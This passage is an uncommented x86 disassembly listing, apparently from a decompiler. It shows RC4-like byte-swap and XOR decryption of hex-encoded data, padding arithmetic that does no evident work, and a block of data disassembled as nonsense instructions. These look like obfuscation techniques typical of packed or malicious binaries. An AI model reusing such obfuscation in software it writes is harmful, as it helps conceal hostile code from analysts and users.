divsd xmm0, qword [ebp - 0x39d4]
movsd qword [ebp - 0x4368], xmm0
movsd xmm0, qword [ebp - 0x3a40]
mulsd xmm0, qword [ebp - 0x3910]
movsd qword [ebp - 0x3a40], xmm0
movsd xmm0, qword [ebp - 0x39d4]
addsd xmm0, qword [ebp - 0x3a40]
movsd qword [ebp - 0x39d4], xmm0
movzx ecx, byte [ebp - 0x326d]
mov dl, byte [ebp - 0x32d8]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x32d8]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x32d9]
add edx, ecx
mov byte [ebp - 0x32d9], dl
movzx eax, byte [ebp - 0x32da]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x326d]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
xor eax, edx
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x3299]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
movzx ecx, byte [ebp - 0x32d9]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp + edx - 0x5620]
xor eax, ecx
mov byte [ebp - 0x3286], al
mov dl, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], dl
mov al, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], al
cmp dword [ebp - 0x3384], 0
jle 0x43f729
movsx cx, byte [ebp - 0x331a]
mov edx, dword [ebp - 0x3384]
mov word [ebp + edx*2 - 0x3e], cx
mov eax, dword [ebp - 0x3384]
add eax, 1
mov dword [ebp - 0x3384], eax
mov ecx, dword [ebp - 0x3620]
add ecx, 1
mov dword [ebp - 0x3620], ecx
mov edx, dword [ebp - 0x3384]
shl edx, 1
mov dword [ebp - 0x3830], edx
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3830]
movzx ecx, byte [eax]
mov dword [ebp - 0x376c], ecx
mov dword [ebp - 0x3768], 0xd9
mov edx, dword [ebp - 0x3384]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3838], eax
mov ecx, dword [ebp - 0x3834]
add ecx, dword [ebp - 0x3838]
movzx edx, byte [ecx]
mov dword [ebp - 0x3760], edx
mov dword [ebp - 0x375c], 0x86
mov eax, dword [ebp - 0x376c]
sub eax, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x3760]
sub ecx, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x3758]
shl edx, 4
mov dword [ebp - 0x383c], edx
mov eax, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], eax
mov ecx, dword [ebp - 0x383c]
or ecx, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], ecx
mov dl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], dl
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + eax - 0x5620]
mov byte [ebp - 0x32d8], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp - 0x3287]
add ecx, eax
mov byte [ebp - 0x3287], cl
mov dl, byte [ebp - 0x326d]
add dl, 1
mov byte [ebp - 0x326d], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x3299]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp - 0x3286]
mov dl, byte [ebp + eax - 0x5620]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x326d]
mov cl, byte [ebp - 0x32d8]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x32d8]
movzx eax, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp - 0x32d9]
add ecx, eax
mov byte [ebp - 0x32d9], cl
movzx edx, byte [ebp - 0x32da]
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x5620]
movzx eax, byte [ebp - 0x326d]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5620]
xor edx, ecx
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp + eax - 0x5620]
movzx eax, byte [ebp - 0x3299]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
movzx eax, byte [ebp - 0x32d9]
movzx eax, byte [ebp + eax - 0x5620]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp + ecx - 0x5620]
xor edx, eax
mov byte [ebp - 0x3286], dl
movsd xmm0, qword [0xa6ef00]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [0xa6edd0]
movsd qword [ebp - 0x5c30], xmm0
movsd xmm0, qword [0xa6ec30]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [0xa6ea78]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [0xa6e840]
movsd qword [ebp - 0x467c], xmm0
movsd xmm0, qword [ebp - 0x4964]
mulsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x495c]
mulsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x4388]
mulsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4388]
mulsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4388]
mulsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4388]
comisd xmm0, xmmword [ebp - 0x467c]
jbe 0x43fab1
movsd xmm0, qword [ebp - 0x5c30]
addsd xmm0, qword [ebp - 0x4388]
movsd qword [ebp - 0x5c30], xmm0
movsd xmm0, qword [ebp - 0x467c]
subsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x467c], xmm0
movsd xmm0, qword [ebp - 0x4388]
subsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x495c]
mulsd xmm0, qword [ebp - 0x5c30]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x467c]
subsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x467c], xmm0
mov cl, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], cl
jmp 0x43fb29
movsd xmm0, qword [ebp - 0x4964]
divsd xmm0, qword [ebp - 0x467c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x4388]
subsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4388]
mulsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x495c]
addsd xmm0, qword [ebp - 0x5c30]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x4388]
addsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4388], xmm0
mov dl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], dl
cmp dword [ebp - 0x3384], 0
jle 0x43fb51
movsx ax, byte [ebp - 0x331a]
mov ecx, dword [ebp - 0x3384]
mov word [ebp + ecx*2 - 0x3e], ax
mov edx, dword [ebp - 0x3620]
add edx, 1
mov dword [ebp - 0x3620], edx
mov eax, dword [ebp - 0x3384]
add eax, 1
mov dword [ebp - 0x4a84], eax
jmp 0x43fb80
mov ecx, dword [ebp - 0x4a84]
add ecx, 1
mov dword [ebp - 0x4a84], ecx
mov edx, dword [ebp - 0x4a84]
cmp edx, dword [ebp - 0x3620]
jge 0x43fdde
mov eax, dword [ebp - 0x3384]
add eax, 1
mov dword [ebp - 0x3384], eax
mov ecx, dword [ebp - 0x3384]
shl ecx, 1
mov dword [ebp - 0x3830], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3830]
movzx eax, byte [edx]
mov dword [ebp - 0x376c], eax
mov dword [ebp - 0x3768], 0xd9
mov ecx, dword [ebp - 0x3384]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3838], edx
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3838]
movzx ecx, byte [eax]
mov dword [ebp - 0x3760], ecx
mov dword [ebp - 0x375c], 0x86
mov edx, dword [ebp - 0x376c]
sub edx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3760]
sub eax, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x3758]
shl ecx, 4
mov dword [ebp - 0x383c], ecx
mov edx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], edx
mov eax, dword [ebp - 0x383c]
or eax, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], eax
mov cl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], cl
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
xor ecx, eax
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x3299]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp + eax - 0x5620]
xor ecx, edx
mov byte [ebp - 0x3286], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], al
mov cl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], cl
cmp dword [ebp - 0x3384], 0
jle 0x43fdd9
movsx dx, byte [ebp - 0x331a]
mov eax, dword [ebp - 0x3384]
mov word [ebp + eax*2 - 0x3e], dx
jmp 0x43fb71
mov ecx, dword [ebp - 0x3620]
add ecx, 1
mov dword [ebp - 0x3620], ecx
mov edx, dword [ebp - 0x3384]
add edx, 1
mov dword [ebp - 0x3384], edx
mov eax, dword [ebp - 0x3620]
add eax, 1
mov dword [ebp - 0x3620], eax
mov ecx, dword [ebp - 0x3384]
shl ecx, 1
mov dword [ebp - 0x3830], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3830]
movzx eax, byte [edx]
mov dword [ebp - 0x376c], eax
mov dword [ebp - 0x3768], 0xd9
mov ecx, dword [ebp - 0x3384]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3838], edx
mov eax, dword [ebp - 0x3834]
add eax, dword [ebp - 0x3838]
movzx ecx, byte [eax]
mov dword [ebp - 0x3760], ecx
mov dword [ebp - 0x375c], 0x86
mov edx, dword [ebp - 0x376c]
sub edx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3760]
sub eax, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x3758]
shl ecx, 4
mov dword [ebp - 0x383c], ecx
mov edx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], edx
mov eax, dword [ebp - 0x383c]
or eax, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], eax
mov cl, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], cl
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + edx - 0x5620]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x3299]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x5620]
mov byte [ebp + eax - 0x5620], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x5620]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
xor ecx, eax
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x5620]
movzx edx, byte [ebp - 0x3299]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x5620]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp + eax - 0x5620]
xor ecx, edx
mov byte [ebp - 0x3286], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], al
mov cl, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], cl
cmp dword [ebp - 0x3384], 0
jle 0x440043
movsx dx, byte [ebp - 0x331a]
mov eax, dword [ebp - 0x3384]
mov word [ebp + eax*2 - 0x3e], dx
mov ecx, dword [ebp - 0x3384]
add ecx, 1
mov dword [ebp - 0x3384], ecx
mov edx, dword [ebp - 0x3620]
add edx, 1
mov dword [ebp - 0x3620], edx
mov eax, dword [ebp - 0x3384]
shl eax, 1
mov dword [ebp - 0x3830], eax
mov ecx, dword [ebp - 0x3834]
add ecx, dword [ebp - 0x3830]
movzx edx, byte [ecx]
mov dword [ebp - 0x376c], edx
mov dword [ebp - 0x3768], 0xd9
mov eax, dword [ebp - 0x3384]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3838], ecx
mov edx, dword [ebp - 0x3834]
add edx, dword [ebp - 0x3838]
movzx eax, byte [edx]
mov dword [ebp - 0x3760], eax
mov dword [ebp - 0x375c], 0x86
mov ecx, dword [ebp - 0x376c]
sub ecx, dword [ebp - 0x3768]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3760]
sub edx, dword [ebp - 0x375c]
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x3758]
shl eax, 4
mov dword [ebp - 0x383c], eax
mov ecx, dword [ebp - 0x3754]
mov dword [ebp - 0x3840], ecx
mov edx, dword [ebp - 0x383c]
or edx, dword [ebp - 0x3840]
mov dword [ebp - 0x3844], edx
mov al, byte [ebp - 0x3844]
mov byte [ebp - 0x32da], al
movzx ecx, byte [ebp - 0x3299]
mov dl, byte [ebp + ecx - 0x5620]
mov byte [ebp - 0x32d8], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x326d]
add al, 1
mov byte [ebp - 0x326d], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x3299]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp - 0x3286]
mov al, byte [ebp + ecx - 0x5620]
mov byte [ebp + edx - 0x5620], al
movzx ecx, byte [ebp - 0x326d]
mov dl, byte [ebp - 0x32d8]
mov byte [ebp + ecx - 0x5620], dl
movzx eax, byte [ebp - 0x32d8]
movzx ecx, byte [ebp + eax - 0x5620]
movzx edx, byte [ebp - 0x32d9]
add edx, ecx
mov byte [ebp - 0x32d9], dl
movzx eax, byte [ebp - 0x32da]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x326d]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
xor eax, edx
movzx ecx, byte [ebp - 0x3286]
movzx edx, byte [ebp + ecx - 0x5620]
movzx ecx, byte [ebp - 0x3299]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
movzx ecx, byte [ebp - 0x32d9]
movzx ecx, byte [ebp + ecx - 0x5620]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5620]
movzx ecx, byte [ebp + edx - 0x5620]
xor eax, ecx
mov byte [ebp - 0x3286], al
mov dl, byte [ebp - 0x32da]
mov byte [ebp - 0x3299], dl
mov al, byte [ebp - 0x3286]
mov byte [ebp - 0x331a], al
cmp dword [ebp - 0x3384], 0
jle 0x44029a
movsx cx, byte [ebp - 0x331a]
mov edx, dword [ebp - 0x3384]
mov word [ebp + edx*2 - 0x3e], cx
mov eax, 2
shl eax, 3
mov dword [ebp - 0x5180], eax
cmp dword [ebp - 0x5180], 0x12
jae 0x4402b3
jmp 0x4402b8
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x5180]
mov word [ebp + edx - 0x3c], cx
jmp 0x440318
mov dword [ebp - 0x48e4], 0
jmp 0x4402e2
mov eax, dword [ebp - 0x48e4]
add eax, 1
mov dword [ebp - 0x48e4], eax
cmp dword [ebp - 0x48e4], 9
jge 0x440318
mov ecx, dword [ebp - 0x48e4]
shl ecx, 1
mov dword [ebp - 0x517c], ecx
cmp dword [ebp - 0x517c], 0x12
jae 0x440304
jmp 0x440309
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x517c]
mov word [ebp + eax - 0x3c], dx
jmp 0x4402d3
movzx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x44b674
mov dword [ebp - 0x31d4], 0
mov dword [ebp - 0x31d0], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x476c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4694], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4694], xmm0
jmp 0x440373
movsd xmm0, qword [ebp - 0x4694]
addsd xmm0, qword [0xa6e348]
movsd qword [ebp - 0x4694], xmm0
movsd xmm0, qword [0xa6e758]
comisd xmm0, xmmword [ebp - 0x4694]
jbe 0x440424
movsd xmm0, qword [0xa6e640]
mulsd xmm0, qword [ebp - 0x4694]
mulsd xmm0, qword [ebp - 0x4694]
movsd xmm1, qword [ebp - 0x4694]
mulsd xmm1, qword [ebp - 0x4694]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e398]
mulsd xmm1, qword [ebp - 0x4694]
mulsd xmm1, qword [ebp - 0x4694]
addsd xmm1, qword [0xa6e4a0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x476c]
comisd xmm0, xmmword [0xa6e5e8]
jbe 0x44041f
movsd xmm0, qword [0xa6e330]
mulsd xmm0, qword [ebp - 0x4694]
movsd xmm1, qword [ebp - 0x476c]
subsd xmm1, xmm0
movsd qword [ebp - 0x476c], xmm1
jmp 0x44035b
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x476c]
jbe 0x4404d5
push edi
inc edx
je 0x440471
push edx
jo 0x44046a
xor byte [ecx + 0x4a], ah
dec esp
push 0x5d
pop ecx
inc esi
push ebp
pop esp
js 0x44046e
xor eax, 0x39af2ca1
mov al, byte [0xa533a035]
sub ch, byte [eax - 0x56d151c8]
sub al, 0xab
xor al, 0xac
das
movsb byte es:[edi], byte [esi]
cmp byte [esi - 0x5ac755d0], ch
sub al, 0xa5
sub al, 0xa0
sub ch, byte [ebp + esi + 0x34a037af]
xor eax, 0x34a037af
xor al, 0xae
scasb al, byte es:[edi]
sub ch, byte [esi - 0x5fca5ac8]
das
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
cmp byte [ebp - 0x50d05fcb], ah
stosb byte es:[edi], al
sub eax, 0x35a037ac
scasd eax, dword es:[edi]
xor dword [eax - 0x56c756cd], ebp
stosb byte es:[edi], al
xor ah, byte [esi + ebp + 0x2fa22baf]
scasb al, byte es:[edi]
cmp byte [edx - 0x5dd553c9], ch
sub esp, dword [eax - 0x52d35fd3]
sub esp, dword [esi - 0x5fce5ad2]
scasd eax, dword es:[edi]
sub ch, byte [ebp - 0x5bce5fd1]
sub al, 0xa9
xor eax, 0x34af33a0
mov eax, dword [0xad35a034]
xor al, 0xa5
aaa
mov eax, dword [0xa537a636]
cmp dword [esp + esi + 0x2fa42ea5], ebp
movsb byte es:[edi], byte [esi]
das
mov dword [0xae33a239], eax
scasd eax, dword es:[edi]
cmpsd dword cs:[esi], dword es:[edi]
jmp 0x4434df
mov dword [ebp - 0x31d4], 0x440448
mov dword [ebp - 0x31d0], 0x440435
mov edx, dword [ebp - 0x31d4]
mov dword [ebp - 0x35f0], edx
mov eax, dword [ebp - 0x31d0]
mov dword [ebp - 0x5fd0], eax
mov byte [ebp - 0x3fb1], 0x17
mov dword [ebp - 0x3848], 0
jmp 0x440523
mov ecx, dword [ebp - 0x3848]
add ecx, 1
mov dword [ebp - 0x3848], ecx
cmp dword [ebp - 0x3848], 0x100
jae 0x440544
mov edx, dword [ebp - 0x3848]
mov al, byte [ebp - 0x3848]
mov byte [ebp + edx - 0x4c28], al
jmp 0x440514
mov dword [ebp - 0x445c], 0
mov byte [ebp - 0x3350], 0
mov dword [ebp - 0x3848], 0xff
jmp 0x440570
mov ecx, dword [ebp - 0x3848]
sub ecx, 1
mov dword [ebp - 0x3848], ecx
cmp dword [ebp - 0x3848], 0
jbe 0x4407e0
mov dword [ebp - 0x4a88], 0
mov dword [ebp - 0x48e0], 1
mov edx, dword [ebp - 0x48e0]
cmp edx, dword [ebp - 0x3848]
jae 0x4405b1
mov eax, dword [ebp - 0x48e0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x48e0], ecx
jmp 0x440591
mov edx, dword [ebp - 0x445c]
mov dword [ebp - 0x5178], edx
cmp dword [ebp - 0x5178], 3
ja case.default.0x4405d0
mov eax, dword [ebp - 0x5178]
jmp dword [eax*4 + 0x46b570]
movzx ecx, byte [ebp - 0x3350]
movzx ebx, byte [ebp + ecx - 0x4c28]
movsd xmm0, qword [ebp - 0x476c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3350], bl
jmp 0x4406b9
movzx edx, byte [ebp - 0x3350]
movzx ebx, byte [ebp + edx - 0x4c28]
movsd xmm0, qword [ebp - 0x476c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3350], bl
jmp 0x4406b9
movzx eax, byte [ebp - 0x3350]
movzx ebx, byte [ebp + eax - 0x4c28]
movsd xmm0, qword [ebp - 0x476c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3350], bl
jmp 0x4406b9
movzx ecx, byte [ebp - 0x3350]
movzx ebx, byte [ebp + ecx - 0x4c28]
movsd xmm0, qword [ebp - 0x476c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3350], bl
jmp 0x4406b9
movzx edx, byte [ebp - 0x3350]
movzx eax, byte [ebp + edx - 0x4c28]
mov ecx, dword [ebp - 0x5fd0]
add ecx, dword [ebp - 0x445c]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3350], al
mov eax, dword [ebp - 0x445c]
add eax, 1
mov dword [ebp - 0x445c], eax
movzx ecx, byte [ebp - 0x3fb1]
cmp dword [ebp - 0x445c], ecx
jb 0x4406f7
mov dword [ebp - 0x445c], 0
movzx edx, byte [ebp - 0x3fb1]
movzx eax, byte [ebp - 0x3350]
add eax, edx
mov byte [ebp - 0x3350], al
movzx ecx, byte [ebp - 0x3350]
and ecx, dword [ebp - 0x48e0]
mov dword [ebp - 0x431c], ecx
mov edx, dword [ebp - 0x4a88]
add edx, 1
mov dword [ebp - 0x4a88], edx
cmp dword [ebp - 0x4a88], 0xb
jbe 0x440736
mov eax, dword [ebp - 0x431c]
xor edx, edx
div dword [ebp - 0x3848]
mov dword [ebp - 0x431c], edx
mov eax, dword [ebp - 0x431c]
cmp eax, dword [ebp - 0x3848]
ja 0x4405b1
mov ecx, dword [ebp - 0x3848]
cmp ecx, dword [ebp - 0x431c]
je 0x4407db
mov edx, dword [ebp - 0x431c]
movzx eax, byte [ebp + edx - 0x4c28]
mov ecx, dword [ebp - 0x3848]
movzx edx, byte [ebp + ecx - 0x4c28]
xor edx, eax
mov eax, dword [ebp - 0x3848]
mov byte [ebp + eax - 0x4c28], dl
mov ecx, dword [ebp - 0x3848]
movzx edx, byte [ebp + ecx - 0x4c28]
mov eax, dword [ebp - 0x431c]
movzx ecx, byte [ebp + eax - 0x4c28]
xor ecx, edx
mov edx, dword [ebp - 0x431c]
mov byte [ebp + edx - 0x4c28], cl
mov eax, dword [ebp - 0x431c]
movzx ecx, byte [ebp + eax - 0x4c28]
mov edx, dword [ebp - 0x3848]
movzx eax, byte [ebp + edx - 0x4c28]
xor eax, ecx
mov ecx, dword [ebp - 0x3848]
mov byte [ebp + ecx - 0x4c28], al
jmp 0x440561
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x3261], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x3267], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x32a7], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x3268], al
movzx ecx, byte [ebp - 0x3350]
mov dl, byte [ebp + ecx - 0x4c28]
mov byte [ebp - 0x3288], dl
mov dword [ebp - 0x5174], 0x88
cmp dword [ebp - 0x5174], 2
jle 0x443488
mov eax, dword [ebp - 0x5174]
and eax, 1
jne 0x443488
mov dword [ebp - 0x3320], 0
mov dword [ebp - 0x3490], 0
mov ecx, dword [ebp - 0x3490]
add ecx, 1
mov dword [ebp - 0x3490], ecx
mov dword [ebp - 0x35ec], 0
mov edx, dword [ebp - 0x3320]
shl edx, 1
mov dword [ebp - 0x35ec], edx
mov dword [ebp - 0x359c], 0
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35ec]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x359c]
mov dword [ebp - 0x359c], ecx
mov dword [ebp - 0x3598], 0
mov edx, dword [ebp - 0x3598]
add edx, 0x2a
mov dword [ebp - 0x3598], edx
mov dword [ebp - 0x35b8], 0
mov eax, dword [ebp - 0x3320]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x35b8], ecx
mov dword [ebp - 0x3594], 0
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3594]
mov dword [ebp - 0x3594], eax
mov dword [ebp - 0x3590], 0
mov ecx, dword [ebp - 0x3590]
add ecx, 0xa0
mov dword [ebp - 0x3590], ecx
mov dword [ebp - 0x358c], 0
mov edx, dword [ebp - 0x359c]
sub edx, dword [ebp - 0x3598]
add edx, dword [ebp - 0x358c]
mov dword [ebp - 0x358c], edx
mov dword [ebp - 0x3588], 0
mov eax, dword [ebp - 0x3594]
sub eax, dword [ebp - 0x3590]
add eax, dword [ebp - 0x3588]
mov dword [ebp - 0x3588], eax
mov dword [ebp - 0x35bc], 0
mov ecx, dword [ebp - 0x358c]
shl ecx, 4
